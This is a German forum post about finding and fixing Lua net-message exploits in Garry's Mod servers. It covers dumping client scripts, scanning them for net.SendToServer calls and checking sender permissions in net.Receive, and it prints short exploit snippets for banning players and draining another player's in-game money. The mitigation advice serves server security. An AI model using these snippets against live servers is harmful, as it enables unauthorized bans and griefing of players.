Ich dachte ich mach hier mal ein kleine Artikel über Gmod und Lua Exploits...
Zuerst: Was sind Exploits ?
Ein Exploit (englisch to exploit ‚ausnutzen‘) ist in der elektronischen Datenverarbeitung eine systematische Möglichkeit, Schwachstellen auszunutzen, die bei der Entwicklung eines Programms nicht berücksichtigt wurden. Dabei werden mit Hilfe von ProgrammcodesSicherheitslücken und Fehlfunktionen von Programmen (oder ganzen Systemen) ausgenutzt, meist um sich Zugang zu Ressourcen zu verschaffen oder in Computersysteme einzudringen, bzw. diese zu beeinträchtigen. Ein Exploit eines Hackers (bzw. eines Crackers) ist mit der Brechstange eines Einbrechers vergleichbar: beide verschaffen sich damit Zugang zu Dingen, für die sie keine Berechtigung besitzen.
Nun ja in Gmod wird meist in lua ( https://www.lua.org/ ) bzw gLua ( abgewandelte version ) programmiert.
Doch was heißt das jetzt, Lua ist eine Script Sprache und wird deshalb nicht Kompiliert. Zudem wird der Source Code in Klartext und nicht wie bei Compilersprachen( c oder c++ ) als bytecode gespeichert.
Das macht das Finden von Fehlerhaften Programmen umso komfortabler da man direkt sieht* (im Normalfall was ein Script macht ).
Ich werde hier ein bisschen auf Bekannte Fehler eingehen und Strategien erläutern wie man diese findet/behebt.
Btw es gibt schon etwas ähnliches doch ich wollt es nochmal auf deutsch etwas aktualisieren und Anwendungen zeigen https://facepunch.com/showthread.php?t=1369365
Zur Detection:
Zuerst rate ich ein Programm bzw weg die Client Scripts des servers zu bekommen( z.b. Scripthook ), für leute die dies selbst machen wollen detourt einfach luaL_loadbuffer -> http://pgl.yoyo.org/luai/i/luaL_loadbuffer
nun Joint ihr auf ein Server / bzw holt euch die Client Scripts ( kleiner trick mit NotePad++ könnt ihr ganze dir's. auf verschiedene Keywords scannen ).
So Jetzt Habt ihr die Client Files dort solltet ihr immer nach Folgenden Wörter Ausschau halten:
net.SendToServer( )
RunConsoleCommand
:IsAdmin -> LocalPlayer():IsAdmin (
//zu merken die Formatierung kann abweichen Aufpassen!
Ich habe hier mal ein Beispiel:
//cl_bs.lua ->ClientSide
//code[...]
net.Start( "admin_tool_kick" )
net.WriteEntity( ply )
net.SendToServer()
//code[...]
Also jetzt wo wir ein potenziellen Exploit gefunden haben schauen wir uns den Pfad an ( optional aber zu empfehlen ) dort können wir Informationen finden wann die Nachricht aufgerufen wird und um welches Addon es sich handelt.
->Danach einfach ein bisschen rumprobieren( ich möchte nicht näher darauf eingehen )
Aber wie kann ich das jetzt verhindern?!?!?!11
Wenn man sich die net Libery von GMod genau anschaut ( https://wiki.garrysmod.com/page/net/Receive ) Sollte man eigentlich gleich sehn
net.Receive( str messageName, function callback )
und
//parameter
string messageName
The message name to hook to.
function callback
The function to be called if the specified message was received. Arguments are:
number len - Length of the message, in bits
Player ply - The player that sent the message, works only serverside
Alles anzeigen
Da der Server ein Parameter hat "ply" ist nun wohl klar worauf ich hinaus will ( ply ist repräsentativ für den Spieler der die net nachricht aufruft )
Diese kann man jetzt ohne zweifel überprüfen und schauen ob er z.b. Kickrechte hat.
ES IST NIE EINE GUTE IDEE DEIN LocalPlayer ALS ENITIY MITZUSENDEN DA ES EIN GROßES SICHERHEITS RISKIO IST!
Beispiele Von Gmod Exploits:
( ich werde hier alte zeigen die schon gepatched sind also denkt nicht mal dran sie zu benutzen )
//banleaver ulx ban
//banned player
net.Start("banleaver")
net.WriteString( id .."{sep}".. name )
net.SendToServer()
//Gambles/lottery
//started a gamble of a given player and opend the gamble menu
//make player poor
net.Start( "LotteryMenu" )
net.WriteEntity( ply )
net.WriteInt( 1, 16)
net.SendToServer( )
Bei weiteren Fragen Steh ich gerne zur Verfügung wenn jemand interresse an der Sicherheit seinse Servers hat ich kann gerne euren server auf exploits überprüfen und an alle ich hoffe diser Text war informativ
Würde mich auf KONSTRUKTIVE ( BITTE NICHT "SCHEIß HACKER" ) Kommentare freuen
-K0e
Das wichtigste ist Geduld!
*man sieht natürlich nur die Dateien die der Server für die Clienten zu Verfügung stellt